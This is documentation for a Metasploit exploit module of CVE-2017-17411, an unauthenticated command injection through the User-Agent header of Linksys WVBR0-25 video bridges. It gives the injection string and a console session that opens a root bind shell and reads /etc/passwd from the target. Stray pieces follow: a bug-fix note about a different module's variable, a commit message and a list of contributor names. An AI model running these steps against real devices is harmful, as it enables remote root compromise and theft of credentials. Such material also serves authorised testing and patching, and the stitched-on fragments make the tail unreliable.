This module is for exploiting vulnerable Linksys WVBR0-25 wireless video bridges using CVE-2017-17411. The vuln in question involves a command injection due to improper sanitization of the User-Agent header. The module makes an initial GET request to the root of the web server and checks the result for a vulnerable firmware version. If vulnerable, it makes a subsequent GET request with the User-Agent set to `";<payload> #`. This can be verified against WVBR0-25 devices running firmware < 1.0.41.
Example console output:
```
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > info
Name: Linksys WVBR0-25 User-Agent Command Execution
Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-12-13
Provided by:
HeadlessZeke
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to
connect wireless Genie cable boxes to the Genie DVR, is vulnerable
to OS command injection in version < 1.0.41 of the web management
portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
References:
http://cvedetails.com/cve/2017-17411/http://www.zerodayinitiative.com/advisories/ZDI-17-973https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat)
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat)
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
RHOST => 10.0.0.104
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] Started bind handler
[*] 10.0.0.104:80 - Exploiting...
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
id
uid=0(root) gid=0(root)
^C
Abort session 1? [y/N] y
[*] 10.0.0.104 - Command shell session 1 closed. Reason: User exit
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set cmd cat /etc/passwd
cmd => cat /etc/passwd
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] 10.0.0.104:80 - Exploiting...
[+] 10.0.0.104:80 - Command sent successfully
[*] 10.0.0.104:80 - Command output: root❌0:0::/:/bin/sh nobody❌99:99:Nobody:/:/bin/nologin sshd❌22:22::/var/empty:/sbin/nologin admin❌1000:1000:Admin User:/tmp/home/admin:/bin/sh quagga❌1001:1001:Quagga
[*] Exploit completed, but no session was created.
msf exploit(linksys_wvbr0_user_agent_exec_noauth) >
```
Variable on line 67 needs to be changed to "user" from "username" which was undefined and causing error during exploit execution.
[-] Exploit failed: NameError undefined local variable or method `username' for #<Msf::Modules::Mod6578706c6f69742f756e69782f7765626170702f77705f736c69646573686f7767616c6c6572795f75706c6f6164::MetasploitModule:0x0055c61ab093f8>
After changing the incorrect variable name from "username" to "user", the exploit completes.
Changes from a "hope we get at most one message at a time" model to
something beginning to resemble a state machine. Also logs error output
and fails the MSF module when the external module fails.
juushya
b0yd
Jon Hart
headlesszeke
William Vu
Tod Beardsley
Nick Marcoccio
Brent Cook
EgiX
Wei Chen
Tim
securekomodo
Matthew Kienow
mr_me
Pearce Barry
Chris Higgins
Austin
William Webb
Yorick Koster
wetw0rk
Jacob Robles
Zenofex
bwatters-r7
vipzen
WhiteWinterWolf
h00die
Adam Cammack